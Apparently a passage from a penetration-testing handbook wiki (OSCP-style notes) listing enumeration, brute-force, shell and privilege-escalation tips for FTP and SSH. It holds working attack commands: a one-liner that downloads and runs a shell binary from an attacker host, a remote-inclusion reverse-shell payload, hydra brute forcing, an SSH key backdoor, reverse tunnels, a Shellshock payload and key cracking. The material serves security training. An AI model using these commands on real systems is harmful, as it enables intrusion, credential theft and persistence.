|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2371</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2371"/>
		<updated>2026-06-03T13:42:16Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* 5985, 5986 - WinRM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
== 21 - FTP ==&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  21&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ftp:// -u -vV&lt;br /&gt;
# Try default usernames like admin:admin, admin:password etc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Default credentials ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Downlad file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
get&lt;br /&gt;
# Download all files from FTP&lt;br /&gt;
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all&lt;br /&gt;
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload file ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER! If uploading binary, type &#039;binary&#039; into console otherwise the binary wont work.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
put&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 22 - SSH ==&lt;br /&gt;
&lt;br /&gt;
=== Create SSH Tunnel from target to attacker ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CREATE dedicated reverse ssh account on pentest1&lt;br /&gt;
sudo useradd -m -s /bin/bash user&lt;br /&gt;
ssh-keygen -t ed25519 -f user -C &amp;quot;user&amp;quot;&lt;br /&gt;
sudo mkdir -p /home/user/.ssh&lt;br /&gt;
sudo chmod 700 /home/user/.ssh&lt;br /&gt;
sudo sh -c &#039;cat user.pub &amp;gt;&amp;gt; /home/user/.ssh/authorized_keys&#039;&lt;br /&gt;
sudo chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
sudo chown -R user:user /home/user/.ssh&lt;br /&gt;
chmod 700 /home/user&lt;br /&gt;
chmod 600 /home/user/.ssh/authorized_keys&lt;br /&gt;
chown user:user /home/user&lt;br /&gt;
# ON target, portforward&lt;br /&gt;
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.&lt;br /&gt;
icacls .\key.txt /inheritance:r&lt;br /&gt;
 ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip&lt;br /&gt;
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.&lt;br /&gt;
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &amp;amp;&lt;br /&gt;
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &amp;amp;&lt;br /&gt;
# In hosts file add the dc hostname and tie to localhost on pentest1&lt;br /&gt;
127.0.0.1 DC.domain.local&lt;br /&gt;
&lt;br /&gt;
# From attacker windows machine.&lt;br /&gt;
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .&lt;br /&gt;
# This will reach the linux machine and make them accessible to me.&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53&lt;br /&gt;
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Banner grabbing ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -vn  22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Brute force ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hydra -V -f -L  -P  ssh:// -u -vV&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Config files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh_config&lt;br /&gt;
sshd_config&lt;br /&gt;
authorized_keys&lt;br /&gt;
ssh_known_hosts&lt;br /&gt;
known_hosts&lt;br /&gt;
id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Backdoor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
ssh-keygen -f&lt;br /&gt;
chmod 600&lt;br /&gt;
cat .pub -&amp;gt; copy&lt;br /&gt;
# Victim - Remember to chmod 600 authorized_keys&lt;br /&gt;
echo .pub &amp;gt;&amp;gt; /.ssh/authorized_keys&lt;br /&gt;
# Connect&lt;br /&gt;
ssh -i  @&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Debian OpenSSL Predictable PRNG ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md&lt;br /&gt;
# https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process&lt;br /&gt;
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):&lt;br /&gt;
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server&lt;br /&gt;
# On the attacker machine, add the following line in /etc/ssh/ssh_config:&lt;br /&gt;
PubkeyAcceptedKeyTypes +ssh-dss&lt;br /&gt;
# Get the debian SSH repo:&lt;br /&gt;
git clone https://github.com/g0tmi1k/debian-ssh&lt;br /&gt;
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2&lt;br /&gt;
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:&lt;br /&gt;
cd debian-ssh/common_keys/dsa/1024/&lt;br /&gt;
grep -lr &#039;AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9&#039;&lt;br /&gt;
&lt;br /&gt;
# Flags for common error&lt;br /&gt;
# flag for algorithm&lt;br /&gt;
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1&lt;br /&gt;
# flag for public key&lt;br /&gt;
-oPubkeyAcceptedKeyTypes=+ssh-dss&lt;br /&gt;
# flag for cipher&lt;br /&gt;
-c aes128-cbc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decrypt RSA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh2john [id_rsa private key file] &amp;gt; [output file]&lt;br /&gt;
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Key file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/home/user/.ssh/authorized_keys&lt;br /&gt;
/home/usr/.ssh/id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restriction SSH public key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
from=&amp;quot;192.168.1.150&amp;quot;,command=&amp;quot;echo &#039;This account can only be used for port forwarding&#039;&amp;quot;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH when no interactive shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh kali@10.11.0.4 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa&lt;br /&gt;
ssh -f -N -R 1080 -o &amp;quot;UserKnownHostsFile=/dev/null&amp;quot; -o &amp;quot;StrictHostKeyChecking=no&amp;quot; -i id_rsa kali@10.11.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SHELLSHOCK exploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -i id_rsa user@ &#039;() {:;};/bin/bash&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 25 ,465, 587 - SMTP ==&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
